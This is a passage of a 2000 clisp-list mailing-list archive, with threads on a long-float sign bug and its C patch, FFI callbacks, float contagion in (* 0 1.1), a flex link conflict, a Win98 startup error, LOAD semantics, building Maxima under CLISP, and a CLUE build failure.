The reason seems that in the case of long float, the sign bit is not
tested (it appears not to be in the mantissa as for the other float
sizes).

-- 

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On Thu, Jul 27, 2000 at 03:51:15PM +0200, Bruno Haible wrote:
> 
> The FFI will convert the lisp function #'DRAW to the C function
> address automatically, if you have the right declaration for glutDisplayFunc.

Thanks, I got it to work now.  I was just using integers for pointers to
some kinds of C constructs (and still am for pointer to structs and
unions).  Once I added the proper c-function declaration, it worked.

I still have a small problem, though... is there some way to pass NULL/0
to a C function that expects a function?  For instance, glutIdleFunc(NULL)
can be used to "turn off" an animation callback, how can I do this in
lisp?

glutIdleFunc is defined as
(FFI:DEF-C-CALL-OUT GLUTIDLEFUNC (:NAME "glutIdleFunc")
  (:ARGUMENTS (#:G1132 (FFI:C-FUNCTION (:LANGUAGE :STDC) (:RETURN-TYPE NIL)))
  )
  (:RETURN-TYPE NIL)
)

Another somewhat unrelated problem I ran into: (* 0 1.1) returns 0, not
0.0.  Is this a bug?  It seems like strange behaviour to me...

-- 
Knut Arild Erstad

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Knut Arild Erstad writes:

> I still have a small problem, though... is there some way to pass NULL/0
> to a C function that expects a function?  For instance, glutIdleFunc(NULL)
> can be used to "turn off" an animation callback, how can I do this in
> lisp?

It's a bug. A callback function will correctly convert NULL to NIL,
but in the other direction the conversion did not yet worked. I've
fixed it in the CVS now. Thanks for reporting it.

> Another somewhat unrelated problem I ran into: (* 0 1.1) returns 0, not
> 0.0.  Is this a bug?  It seems like strange behaviour to me...

The difference between 0 and 0.0 in Lisp sense is that 0.0 is an
approximate zero, possibly originated from the subtraction of two
different but very close numbers, whereas 0 is a precise zero - it is
always zero no matter how close you look.

If you take a precise zero and multiply it with a precise 0, you
always get a precise zero.

You can use COERCE to convert 0 to 0.0 if you want the latter (e.g. in
order to pass it as an argument to GL routines).

Bruno


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bernard URBAN writes:

> Here a serious bug:
> [11]> (eql (- pi) pi)
> T

Thanks for reporting it. Here is a fix.

diff -c -3 -r1.29 predtype.d
*** predtype.d  2000/06/13 19:02:12     1.29
--- predtype.d  2000/07/27 18:10:01
***************
*** 94,99 ****
--- 94,105 ----
              if (!(len1 == Lfloat_length(obj2))) goto no;
              # Exponenten vergleichen:
              if (!(TheLfloat(obj1)->expo == TheLfloat(obj2)->expo)) goto no;
+             # Vorzeichen vergleichen: (LF_sign not usable here.)
+             #ifdef TYPECODES
+             if (R_sign(as_object(as_oint(obj1) ^ as_oint(obj2))) < 0) goto no;
+             #else
+             if (Record_flags(obj1) != Record_flags(obj2)) goto no;
+             #endif
              # Ziffern vergleichen:
              var uintD* ptr1 = &TheLfloat(obj1)->data[0];
              var uintD* ptr2 = &TheLfloat(obj2)->data[0];

Bruno


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On Thu, Jul 27, 2000 at 08:22:52PM +0200, Bruno Haible wrote:
> Knut Arild Erstad writes:
> 
> > Another somewhat unrelated problem I ran into: (* 0 1.1) returns 0, not
> > 0.0.  Is this a bug?  It seems like strange behaviour to me...
> 
> The difference between 0 and 0.0 in Lisp sense is that 0.0 is an
> approximate zero, possibly originated from the subtraction of two
> different but very close numbers, whereas 0 is a precise zero - it is
> always zero no matter how close you look.
[...]

I understand the argument, but it still seemed unintuitive somehow, and
different from all other languages and Lisp versions I remember seeing, so
I looked it up both in Graham's ANSI Common Lisp book and the HyperSpec,
and there it is:

<URL:http://www.xanalys.com/software_tools/reference/HyperSpec/Body/
sec_12-1-4-4.html>

"The result of a numerical function is a float of the largest format among
 all the floating-point arguments to the function."

-- 
Knut Arild Erstad

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We only mention them to let them know we know they're there.


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Knut Arild Erstad writes:

> I understand the argument, but it still seemed unintuitive somehow, and
> different from all other languages and Lisp versions I remember seeing

But it is closer to what a real computer algebra system does. Because
it is closer to the true mathematical result.

> <URL:http://www.xanalys.com/software_tools/reference/HyperSpec/Body/
> sec_12-1-4-4.html>

This section applies only to float-float combinations. Look at section
12.1.4.1 and at section 12.1.3.3:

  "When the arguments to an irrational mathematical function are all
   rational and the true mathematical result is also (mathematically)
   rational, then unless otherwise noted an implementation is free to
   return either an accurate rational result or a single float
   approximation."

Bruno


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On Fri, Jul 28, 2000 at 03:30:45PM +0200, Bruno Haible wrote:
> Knut Arild Erstad writes:
> 
> > I understand the argument, but it still seemed unintuitive somehow, and
> > different from all other languages and Lisp versions I remember seeing
> 
> But it is closer to what a real computer algebra system does. Because
> it is closer to the true mathematical result.

That I can agree with.  But it was certainly an unexpected result for me,
and I still think it is a violation of the standard...

> > <URL:http://www.xanalys.com/software_tools/reference/HyperSpec/Body/
> > sec_12-1-4-4.html>
> 
> This section applies only to float-float combinations. Look at section
> 12.1.4.1 and at section 12.1.3.3:
> 
>   "When the arguments to an irrational mathematical function are all
>    rational and the true mathematical result is also (mathematically)
>    rational, then unless otherwise noted an implementation is free to
>    return either an accurate rational result or a single float
>    approximation."

"When the arguments to an irrational mathematic functions are *all*
 rational" ... this does not apply to (* 0 1.1).  From what I can see it
applies only to the functions listed in that section, and only if all
arguments are rational, so that (expt 0 1.1) must return 0.0, and
(log 1 2.0) must return 0.0, for instance.  clisp returns 0 in the second
case, BTW.

Section 12.1.4.1 says

"When rationals and floats are combined by a numerical function, *the
 rational is first converted to a float* of the same format. For functions
 such as + that take more than two arguments, it is permitted that *part*
 of the operation be carried out exactly using rationals and the rest be
 done using floating-point arithmetic."

It seems pretty clear to me: a numerical function with one or more float
arguments always returns a float (or in some cases a complex number with
float parts).  Am I missing something?

-- 
Knut Arild Erstad

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Hello,
I have a problem when I try to build a module with a C file generated by
flex. It seems there are two symbols 'main' in conflict; one in
lisp.a, and the other in the library required to compile
flex-generated code.
Do somebody know a solution?
<nl><nl>

Here is the session:
<nl><nl>

clisp-link add-module-set /root/lib/gl-bindings-module/ =

base /root/lib/base+gl
make: Nothing to be done for `clisp-module'.
gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fo=
mit-f
rame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -D=
DYNAM
IC_FFI -I/usr/local/clisp-2000-03-06/src -c modules.c
In file included from modules.d:11:
/usr/local/clisp-2000-03-06/src/clisp.h:426: warning: register used for t=
wo gl
obal register variables
gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fo=
mit-f
rame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -D=
DYNAM
IC_FFI -x none modules.o gl-bindings.o glu-bindings.o c_utils.o c_utils_b=
ase.o
<nl> image.o -L/usr/X11R6/lib -lXm -lXt -lXext -lX11 -lXmu -lXi -lm -lGLU=
 -lGL -lf
l lisp.a libsigsegv.a libiconv.a libintl.a libreadline.a libavcall.a libc=
allba
ck.a -ltermcap -ldl -o lisp.run
lisp.a(lisp.o): In function `main':
lisp.o(.text+0x789c): multiple definition of `main'
/usr/lib/libfl.a(libmain.o)(.text+0x0): first defined here
/usr/bin/ld: Warning: size of symbol `main' changed from 18 to 4503 in li=
sp.o
/usr/lib/libfl.a(libmain.o): In function `main':
libmain.o(.text+0x4): undefined reference to `yylex'
collect2: ld returned 1 exit status
/root/lib/base+gl/lisp.run -M base/lispinit.mem -q -i /root/lib/gl-bindin=
gs-mo
dule//gl-bindings.fas /root/lib/gl-bindings-module//glu-bindings.fas /roo=
t/lib
/gl-bindings-module//c_utils.fas -x (saveinitmem "/root/lib/base+gl/lispi=
nit.m
em")
=2E/clisp-link: /root/lib/base+gl/lisp.run: Aucun fichier ou r=E9pertoire=
 de ce ty
pe
<nl><nl>

Thank you.
Niko.
(2 is better than 0)


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Nicolas Dittlo writes:
> Hello,
> I have a problem when I try to build a module with a C file generated by
> flex. It seems there are two symbols 'main' in conflict; one in
> lisp.a, and the other in the library required to compile
> flex-generated code.

You don't really need libfl. "nm /usr/lib/libfl.a" shows you that it
defines just two symbols: 'main' (which you don't need since clisp has
its own main function) and 'yywrap' (which you don't need if you use
"%option noyywrap" in your grammar file).

Bruno


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I'm still learning lisp & clisp, so please pardon any incredibly naive 
mistakes in the following...

I just installed the clisp-2000-03-06 win32 binary on my home Win98 system. 
When I start up the program (in the c:\clisp directory) by typing 
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blank line and then the following message:

[pathname.d:6727]
*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file 
specified.
1. Break [1]>

Before installing this latest version, I had been running the previous 
1999-07-22 version and was having the same problem. However, neither 
version had any problems running on my office WinNT system. Can someone 
suggest what is going on here?

Many thanks in advance,
Mark

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> * In message <4.3.2.7.2.20000815125830.00dc4560@131.96.1.18>
> * On the subject of "[clisp-list] clisp startup problem on Win98"
> * Sent on Tue, 15 Aug 2000 13:18:31 -0400
> * Honorable Mark Shure <shure@chara.gsu.edu> writes:
>
> I just installed the clisp-2000-03-06 win32 binary on my home Win98
> system. When I start up the program (in the c:\clisp directory) by
> typing "c:\clisp\lisp.exe -M lispinit.mem", I get the usual startup
> banner, a blank line and then the following message:
> 
> [pathname.d:6727]
> *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
> file specified.
> 1. Break [1]>
> 
> Before installing this latest version, I had been running the previous
> 1999-07-22 version and was having the same problem. However, neither
> version had any problems running on my office WinNT system. Can
> someone suggest what is going on here?

I do not have this problem on NT either.

You might want to try specifying the full path:

c:/gnu/clisp/lisp.exe -M C:/gnu/clisp/lispinit.mem

(try both backward and forward slashes...)

-- 
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(http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation.
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I would like to run Punimax(a version of Maxima computer
algebra system ported from gcl to clisp, as I understand).
What version of clisp ?  I am currently using RedHat 6.1
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> * In message <20000816070428.24960.qmail@nwcst267.netaddress.usa.net>
> * On the subject of "[clisp-list] punimax"
> * Sent on 16 Aug 00 00:04:28 PDT
> * Honorable er-chan <er-chan@usa.net> writes:
>
> I would like to run Punimax(a version of Maxima computer
> algebra system ported from gcl to clisp, as I understand).
> What version of clisp ?  I am currently using RedHat 6.1
> and am new to lisp. Any help is appreciated.

1. if you want to use Punimax, please visit
   http://www.can.nl/SystemsOverview/General/PUNIMAX.html
   (as per our homepage, http://clisp.cons.org --> resources)

2. if you would rather use the real thing (maxima), you should

   A. visit http://www.ma.utexas.edu/users/wfs/maxima.html
      and get the current CVS version of maxima

   B. apply the appended patch (BEWARE: work in progress!)

   C. get the latest version of CLISP (http://clisp.cons.org)

   D. follow the instructions in maxima/README

-- 
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(http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation.
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Subject: [clisp-list] fix for clisp startup problem on Win98

Thanks to advice from Don Cohen, Bruno Haible & Sam Steingold (both on and 
off the mailing list), I was able to fix my clisp startup problem on Win98 
when running the archived win32 binary.

Here is my original description of the problem (2000-08-15):
-------------------------------------------------------------------------
I just installed the clisp-2000-03-06 win32 binary on my home Win98 system. 
When I start up the program (in the c:\clisp directory) by typing 
"c:\clisp\lisp.exe -M lispinit.mem", I get the usual startup banner, a 
blank line and then the following message:

[pathname.d:6727]
*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file 
specified.
1. Break [1]>

Before installing this latest version, I had been running the previous 
1999-07-22 version and was having the same problem. However, neither 
version had any problems running on my office WinNT system. Can someone 
suggest what is going on here?
-------------------------------------------------------------------------

The problem is apparently that upon startup, clisp looks for an 
initialization file called "~/.clisprc". When it can't find it, it spits 
out the ERROR_FILE_NOT_FOUND message and does not complete all of the 
program initialization. In order to avoid this error, the solution is to 
type (assuming the files are all in the "c:\clisp" directory):

c:\clisp\lisp.exe -M lispinit.mem -norc

which avoids loading the "~/.clisprc" file. You can find this option in the 
"lisp --help" message. I hadn't realized how helpful this usage message 
was! It's not clear to me why this same problem does not show up under 
WinNT, but it's hardly a surprise.

Thanks again for the help with this problem!

Regards,
Mark

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Thanks for summarizing the solution.

> It's not clear to me why this same problem does not show up under 
> WinNT, but it's hardly a surprise.

Windows NT defines HOMEDRIVE and HOMEPATH environment
variables. Whereas on Windows98 it's the user's responsibility to
provide a valid HOME environment variable. If HOME points to a
nonexistent directory, you will get this ERROR_FILE_NOT_FOUND.

Bruno


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> * In message <14746.50700.995470.731350@honolulu.ilog.fr>
> * On the subject of "Re: [clisp-list] fix for clisp startup problem on Win98"
> * Sent on Wed, 16 Aug 2000 18:49:16 +0200 (CEST)
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>
> Thanks for summarizing the solution.
yep!

> > It's not clear to me why this same problem does not show up under 
> > WinNT, but it's hardly a surprise.
> 
> Windows NT defines HOMEDRIVE and HOMEPATH environment
> variables. Whereas on Windows98 it's the user's responsibility to
> provide a valid HOME environment variable. If HOME points to a
> nonexistent directory, you will get this ERROR_FILE_NOT_FOUND.

WOW!  interesting.

(load "/sfg/sfg/s/dfg/sfg/sdf/g" :if-does-not-exist nil)

signals an error under CLISP but returns NIL on Allegro and CMUCL.

Shouldn't we follow suit?

ANSI says:

If the file does not exist, the specific action taken depends on
if-does-not-exist: if it is nil, load returns nil; otherwise, load
signals an error.

it appears that ANSI doesn't separate the issue of existence for files
and directories.

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> > Thanks for summarizing the solution.
> yep!
> 
> > > It's not clear to me why this same problem does not show up under 
> > > WinNT, but it's hardly a surprise.
> > 
> > Windows NT defines HOMEDRIVE and HOMEPATH environment
> > variables. Whereas on Windows98 it's the user's responsibility to
> > provide a valid HOME environment variable. If HOME points to a
> > nonexistent directory, you will get this ERROR_FILE_NOT_FOUND.
> 
> WOW!  interesting.
> 
> (load "/sfg/sfg/s/dfg/sfg/sdf/g" :if-does-not-exist nil)
> 
> signals an error under CLISP but returns NIL on Allegro and CMUCL.
> 
> Shouldn't we follow suit?

Just to be overly nagging... :)

In LispWorks and Allegro

   (load "C:\\MyDirectory\\MyFile.FOO")

works like a charm even if C: is (obviously) not defined as a logical
pathname.  OTOH, logicla pathnames work as expected.  I.e. you do not
need to spray your code with calls to LOGICAL-PATHNAME. :)

Cheers

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> * In message <200008171341.JAA05565@octagon.mrl.nyu.edu>
> * On the subject of "Re: [clisp-list] fix for clisp startup problem on Win98"
> * Sent on Thu, 17 Aug 2000 09:41:10 -0400
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>
> Just to be overly nagging... :)
> 
> In LispWorks and Allegro
> 
>    (load "C:\\MyDirectory\\MyFile.FOO")
> 
> works like a charm even if C: is (obviously) not defined as a logical
> pathname.  OTOH, logicla pathnames work as expected.  I.e. you do not
> need to spray your code with calls to LOGICAL-PATHNAME. :)

this behavior, while mandated by the standard, is not considered to be
reasonable by Bruno.  I agree with him that it is confusing (cf
"c:/autoexec.bat", "home:.clisprc", "ftp.gnu.org:/pub/gnu/").

I think the standard behavior can be implemented when
lisp:*pathname-ansi* is non-nil, but the standard _is_ confusing, so
this is not easy to do.

Followup-To: clisp-devel

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Sam Steingold writes:

> (load "/sfg/sfg/s/dfg/sfg/sdf/g" :if-does-not-exist nil)
> 
> signals an error under CLISP but returns NIL on Allegro and CMUCL.
> 
> Shouldn't we follow suit?

Interesting, yes. Furthermore PROBE-FILE behave as you expect: no
error if the directory does not exist. It is illogical if OPEN and
LOAD behave differently.

> ANSI says:
> 
> If the file does not exist, the specific action taken depends on
> if-does-not-exist: if it is nil, load returns nil; otherwise, load
> signals an error.
> 
> it appears that ANSI doesn't separate the issue of existence for files
> and directories.

But if the user has explictly passed :IF-DOES-NOT-EXIST NIL, he is
interested in avoiding an error in this case.

I now changed OPEN to be tolerant against non-existent directories
in the following cases:

                                :DIRECTION

:IF-DOES-NOT-EXIST   :PROBE   :INPUT   :OUTPUT   :IO
                    +--------+--------+--------+--------+
default             |   X    |        |        |        |
                    +--------+--------+--------+--------+
:ERROR              |        |        |        |        |
                    +--------+--------+--------+--------+
NIL                 |   X    |   X    |   X    |   X    |
                    +--------+--------+--------+--------+
:CREATE             |        |        |        |        |
                    +--------+--------+--------+--------+

Bruno


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> > * Sent on Thu, 17 Aug 2000 09:41:10 -0400
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> >
> > Just to be overly nagging... :)
> > 
> > In LispWorks and Allegro
> > 
> >    (load "C:\\MyDirectory\\MyFile.FOO")
> > 
> > works like a charm even if C: is (obviously) not defined as a logical
> > pathname.  OTOH, logicla pathnames work as expected.  I.e. you do not
> > need to spray your code with calls to LOGICAL-PATHNAME. :)
> 
> this behavior, while mandated by the standard, is not considered to be
> reasonable by Bruno.  I agree with him that it is confusing (cf
> "c:/autoexec.bat", "home:.clisprc", "ftp.gnu.org:/pub/gnu/").

Under MS systems the single letter device driver is easily special
cased for.  The second case is confusing, also because 'UNIX dot
files' do not work well with CL pathnames types (and under CMUCL more
so because of the evil SEARCH-LIST feature). The third is not a
LOGICAL-PATHNAME namestring.

If this is not enough, think of the folks at Digitool :)

> I think the standard behavior can be implemented when
> lisp:*pathname-ansi* is non-nil, but the standard _is_ confusing, so
> this is not easy to do.

Yes.  I agree that the standard may be confusing.  However, last time
I checked, the mandated behavior is not implemented in CLisp even when
*PATHNAME-ANSI* is non-nil.  Hence, CLisp differs from most of the
major implementations out there.  IMHO opinion, this is not anymore a
question of "ANSI compliance", but a question of "de facto standards".

Cheers

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Hi,

this post refers to option 2 of RE: [clisp-list] punimax:
> 2. if you would rather use the real thing (maxima), you should
> 
>    A. visit http://www.ma.utexas.edu/users/wfs/maxima.html
>       and get the current CVS version of maxima
> 
>    B. apply the appended patch (BEWARE: work in progress!)
> 
>    C. get the latest version of CLISP (http://clisp.cons.org)
> 
>    D. follow the instructions in maxima/README

I installed clisp-2000-03-06 with the clisp-alpha-dec-osf4.0d.diff 
patch on our Alpha cluster running Tru64 Unix 4.0E, and the test 
suite ran fine.  I then followed the above instructions and tried 
to install maxima for one of our postdocs.  The patch worked fine on a 
recent CVS version (except for src/homog.lisp, where the indentation 
changed slighly).  The makefile worked fine, except that the file 
src/dump-clisp.lisp was missing.  When compiling maxima I got lots of 
warnings, but no errors.  I used:
  ------------------------------------
  (load "sysdef.lisp")
  (make:make :maxima :compile t)
  (lisp:saveinitmem "maxima.mem" :quiet t :init-function 'maxima::macsyma-top-level)
  ------------------------------------
as dump-clisp.lisp file and create the memory image, and 
wrote a short shell script to start maxima with 'maxima' 
on the CL.
  ----------------------
  #!/bin/sh
  exec /local/clisp/bin/clisp -norc -M /local/maxima/maxima.mem
  ---------------------
After that maxima seems to work, i.e. the header and prompt come 
as expected:
  -------------
  tcsh 1> maxima
  Maxima 5.4 Mon Jun 26 12:37:38 CDT 2000 (with enhancements by W. Schelter).
  Licensed under the GNU Public License (see file COPYING)
  (C1)
  ------------
and simple things like adding numbers and displaying expressions 
work.  However, most function calls don't work.  Our maxima user writes:
> It doesn't recognize anything (you can try with a simple "factor(expr);" 
> or "integrate(f(x),x,x0,x1));".
> It doesn't load files for the same reason: "load" appears to it as an
> undefined function.
> Even the final "quit();" is not understood.
I tried to exit with CTRL-D and get:
  --------------
  Maxima 5.4 Mon Jun 26 12:37:38 CDT 2000 (with enhancements by W. Schelter).
  Licensed under the GNU Public License (see file COPYING)
  (C1) 
  *** - FUNCALL: the function BYE is undefined
  1. Break [1]> 
  USER[2]> 
  ---------------
Has anybody tried this and can answer some of these questions:
1. Did I do something wrong during the installation (e.g. 
is there something missing or screwed up in the dump-clisp.lisp 
file I came up with)?
2. Are the many warnings I get when compiling maxima normal?
3. Sam warned that the patch is work in progress.  How much of 
maxima is known to work (5% or 95%)?
4. Does it look like there's something wrong with the underlying 
clisp installation?

Background: gcl does not install on our platform, which precludes 
installing the standard maxima dist "out of the box".  
So, I found out about clisp, which seems to be smaller 
and faster than gcl (and is known to work on our platform).

Any hints and suggestions greatly appreciated.
Nikolas

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Thanks for your patience.
I got back to my box and now I can do some more work.

> * In message <200008291822.NAA03101@egret.physics.wisc.edu>
> * On the subject of "[clisp-list] clisp maxima patch"
> * Sent on Tue, 29 Aug 2000 13:22:07 -0500 (CDT)
> * Honorable Nikolas Kauer <kauer@pheno.physics.wisc.edu> writes:
>
> this post refers to option 2 of RE: [clisp-list] punimax:
> > 2. if you would rather use the real thing (maxima), you should
> > 
> >    A. visit http://www.ma.utexas.edu/users/wfs/maxima.html
> >       and get the current CVS version of maxima
> > 
> >    B. apply the appended patch (BEWARE: work in progress!)
> > 
> >    C. get the latest version of CLISP (http://clisp.cons.org)
> > 
> >    D. follow the instructions in maxima/README
> 
> I installed clisp-2000-03-06 with the clisp-alpha-dec-osf4.0d.diff 
> patch on our Alpha cluster running Tru64 Unix 4.0E, and the test 
> suite ran fine.  I then followed the above instructions and tried 
> to install maxima for one of our postdocs.  The patch worked fine on a 
> recent CVS version (except for src/homog.lisp, where the indentation 
> changed slighly).  The makefile worked fine, except that the file 
> src/dump-clisp.lisp was missing.

I am sorry - here is the correct file:

--------------------------------------------------------------------------
;;; load this to dump maxima under CLISP
 
(load "sysdef.lisp")
(in-package :maxima)
(make:make :maxima)
(defun bye () (lisp:quit))
(lisp:gc)
(lisp:saveinitmem "maxima.mem" :init-function #'maxima::macsyma-top-level)
(lisp:quit)
--------------------------------------------------------------------------

> and simple things like adding numbers and displaying expressions

I get this:

$ maxima
Maxima 5.4 Mon Jun 26 12:37:38 CDT 2000 (with enhancements by W. Schelter).
Licensed under the GNU Public License (see file COPYING)
(C1) F(X):=X^2+Y;
                                         2
(D1)                            F(X) := X  + Y
(C2) F(2);
(D2)                                 Y + 4
(C3) EV(F(2),Y:7);
(D3)                                  11
(C4) F(X):=SIN(X)^2+1;
                                         2
(D4)                          F(X) := SIN (X) + 1
(C5) F(X+1);
                                   2
(D5)                            SIN (X + 1) + 1
(C6) G(Y,Z):=F(Z)+3*Y;
(D6)                         G(Y, Z) := F(Z) + 3 Y
(C7) EV(G(2*Y+Z,-0.5),Y:7);
(D7)                     3 (Z + 14) + 1.22984884706593
...

> work.  However, most function calls don't work.  Our maxima user writes:
> > It doesn't recognize anything (you can try with a simple "factor(expr);" 
> > or "integrate(f(x),x,x0,x1));".
> > It doesn't load files for the same reason: "load" appears to it as an
> > undefined function.
> > Even the final "quit();" is not understood.
> I tried to exit with CTRL-D and get:
please use my dump-clisp.lisp.

> Has anybody tried this and can answer some of these questions:
> 1. Did I do something wrong during the installation (e.g. 
> is there something missing or screwed up in the dump-clisp.lisp 
> file I came up with)?

yep - use the version in this message.

> 2. Are the many warnings I get when compiling maxima normal?

yes, for now.
I hope to eliminate them eventually.

> 3. Sam warned that the patch is work in progress.  How much of 
> maxima is known to work (5% or 95%)?

I have no idea yet, but if you send me a test case (your input, what you
should get as the output, the output you actually get), we could get
farther. 

> 4. Does it look like there's something wrong with the underlying 
> clisp installation?

no.


Thanks for trying my patch.
Please do not give up.

-- 
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(http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation.
Oh Lord, give me the source code of the Universe and a good debugger!


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Hi,
Is it possible to create c-arrays on the lisp side to throw them to a c function
binded by def-c-call-out?
And can I create c-pointers on the lisp side, for example (argv (c-ptr c-string))?
Thanks.
nd

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Greetings,

I am trying to build the closure browser.  A prerequisite is building
clue, a port of which is included in the src for closure.  The system
is a sparc-sun-sunos4.1.4.  The current Lisp for this project is CLISP
(2000-03-06).  The provided Makefiles and run scripts did not quite
work as advertised for me.  I am using mkant's defsystem from clocc
instead.  The compilation for CLISP breaks here:

#<BUFFERED FILE-STREAM CHARACTER #P"clue.log" @1>
[19]> (mk:compile-system 'clue)

Compiling file /local/src/lisp/closure-1999-06-06/src/clue/intrinsics.lsp ...
*** - DEFCLASS BASIC-CONTACT: superclass #<STRUCTURE-CLASS WINDOW> should belong to class STANDARD-CLASS

The backtrace is as follows.

1. Break CLUEI[20]> Backtrace

EVAL frame for form 
(CLOS::ENSURE-CLASS 'BASIC-CONTACT :DIRECT-SUPERCLASSES
  (LIST (FIND-CLASS 'WINDOW)) :DIRECT-SLOTS
  (LIST (LIST :NAME 'DISPLAY :READERS '(CONTACT-DISPLAY) :INITARGS '(:DISPLAY))
    (LIST :NAME 'PARENT :READERS '(CONTACT-PARENT) :INITARGS '(:PARENT))
    (LIST :NAME 'NAME :READERS '(CONTACT-NAME) :INITARGS '(:NAME) :INITER
      (CONS 'NIL NIL) :TYPE '(OR NULL SYMBOL)
    )
    (LIST :NAME 'CALLBACKS :READERS '(CONTACT-CALLBACKS) :INITARGS
      '(:CALLBACKS) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL LIST)
    )
    (LIST :NAME 'EVENT-TRANSLATIONS :INITARGS '(:EVENT-TRANSLATIONS) :INITER
      (CONS 'NIL NIL) :TYPE '(OR NULL LIST)
    )
    (LIST :NAME 'EVENT-MASK :READERS '(CONTACT-EVENT-MASK) :INITARGS
      '(:EVENT-MASK) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL MASK32)
    )
    (LIST :NAME 'STATE :READERS '(CONTACT-STATE) :INITARGS '(:STATE) :INITER
      (CONS 'NIL NIL) :TYPE '(OR NULL (MEMBER :WITHDRAWN :MANAGED :MAPPED))
    )
    (LIST :NAME 'SENSITIVE :READERS '(CONTACT-SENSITIVE) :INITARGS
      '(:SENSITIVE) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL (MEMBER :OFF :ON))
    )
    (LIST :NAME 'X :READERS '(CONTACT-X) :INITARGS '(:X) :INITER
      (CONS 'NIL NIL) :TYPE '(OR NULL INT16)
    )
    (LIST :NAME 'Y :READERS '(CONTACT-Y) :INITARGS '(:Y) :INITER
      (CONS 'NIL NIL) :TYPE '(OR NULL INT16)
    )
    (LIST :NAME 'WIDTH :READERS '(CONTACT-WIDTH) :INITARGS '(:WIDTH) :INITER
      (CONS 'NIL NIL) :TYPE '(OR NULL CARD16)
    )
    (LIST :NAME 'HEIGHT :READERS '(CONTACT-HEIGHT) :INITARGS '(:HEIGHT) :INITER
      (CONS 'NIL NIL) :TYPE '(OR NULL CARD16)
    )
    (LIST :NAME 'BORDER-WIDTH :READERS '(CONTACT-BORDER-WIDTH) :INITARGS
      '(:BORDER-WIDTH) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL CARD16)
    )
    (LIST :NAME 'INITIALIZATION :TYPE '(OR (MEMBER :DESTROY) LIST))
    (LIST :NAME 'COMPRESS-MOTION :READERS '(CONTACT-COMPRESS-MOTION)
      :ALLOCATION :CLASS :INITER (CONS 'NIL :ON) :TYPE '(MEMBER :OFF :ON)
    )
    (LIST :NAME 'COMPRESS-EXPOSURES :READERS '(CONTACT-COMPRESS-EXPOSURES)
      :ALLOCATION :CLASS :INITER (CONS 'NIL :OFF) :TYPE '(MEMBER :OFF :ON)
  ) )
  :DOCUMENTATION '"Basic contact using parent's window"
)
EVAL frame for form 
(PROGN
  (CLOS::ENSURE-CLASS 'BASIC-CONTACT :DIRECT-SUPERCLASSES
    (LIST (FIND-CLASS 'WINDOW)) :DIRECT-SLOTS
    (LIST
      (LIST :NAME 'DISPLAY :READERS '(CONTACT-DISPLAY) :INITARGS '(:DISPLAY))
      (LIST :NAME 'PARENT :READERS '(CONTACT-PARENT) :INITARGS '(:PARENT))
      (LIST :NAME 'NAME :READERS '(CONTACT-NAME) :INITARGS '(:NAME) :INITER
        (CONS 'NIL NIL) :TYPE '(OR NULL SYMBOL)
      )
      (LIST :NAME 'CALLBACKS :READERS '(CONTACT-CALLBACKS) :INITARGS
        '(:CALLBACKS) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL LIST)
      )
      (LIST :NAME 'EVENT-TRANSLATIONS :INITARGS '(:EVENT-TRANSLATIONS) :INITER
        (CONS 'NIL NIL) :TYPE '(OR NULL LIST)
      )
      (LIST :NAME 'EVENT-MASK :READERS '(CONTACT-EVENT-MASK) :INITARGS
        '(:EVENT-MASK) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL MASK32)
      )
      (LIST :NAME 'STATE :READERS '(CONTACT-STATE) :INITARGS '(:STATE) :INITER
        (CONS 'NIL NIL) :TYPE '(OR NULL (MEMBER :WITHDRAWN :MANAGED :MAPPED))
      )
      (LIST :NAME 'SENSITIVE :READERS '(CONTACT-SENSITIVE) :INITARGS
        '(:SENSITIVE) :INITER (CONS 'NIL NIL) :TYPE
        '(OR NULL (MEMBER :OFF :ON))
      )
      (LIST :NAME 'X :READERS '(CONTACT-X) :INITARGS '(:X) :INITER
        (CONS 'NIL NIL) :TYPE '(OR NULL INT16)
      )
      (LIST :NAME 'Y :READERS '(CONTACT-Y) :INITARGS '(:Y) :INITER
        (CONS 'NIL NIL) :TYPE '(OR NULL INT16)
      )
      (LIST :NAME 'WIDTH :READERS '(CONTACT-WIDTH) :INITARGS '(:WIDTH) :INITER
        (CONS 'NIL NIL) :TYPE '(OR NULL CARD16)
      )
      (LIST :NAME 'HEIGHT :READERS '(CONTACT-HEIGHT) :INITARGS '(:HEIGHT)
        :INITER (CONS 'NIL NIL) :TYPE '(OR NULL CARD16)
      )
      (LIST :NAME 'BORDER-WIDTH :READERS '(CONTACT-BORDER-WIDTH) :INITARGS
        '(:BORDER-WIDTH) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL CARD16)
      )
      (LIST :NAME 'INITIALIZATION :TYPE '(OR (MEMBER :DESTROY) LIST))
      (LIST :NAME 'COMPRESS-MOTION :READERS '(CONTACT-COMPRESS-MOTION)
        :ALLOCATION :CLASS :INITER (CONS 'NIL :ON) :TYPE '(MEMBER :OFF :ON)
      )
      (LIST :NAME 'COMPRESS-EXPOSURES :READERS '(CONTACT-COMPRESS-EXPOSURES)
        :ALLOCATION :CLASS :INITER (CONS 'NIL :OFF) :TYPE '(MEMBER :OFF :ON)
    ) )
    :DOCUMENTATION '"Basic contact using parent's window"
) )
EVAL frame for form (MAKE:COMPILE-SYSTEM 'USER::CLUE)


The relevant form in the immediate source seems to be:

;; from clue/intrinsics.lsp

;;; Basic CONTACT class



(defcontact basic-contact (xlib:window)
  ((display            :initarg :display
		       :reader contact-display)
   
   (parent             :initarg :parent
		       :reader contact-parent) ; setf defined below
   
   (name               :type symbol
		       :initarg :name
		       :initform :unnamed
		       :reader contact-name)
   
   (callbacks          :type list
		       :reader contact-callbacks
		       :initform nil)
   
   (event-translations :type list
		       :initform nil)
   
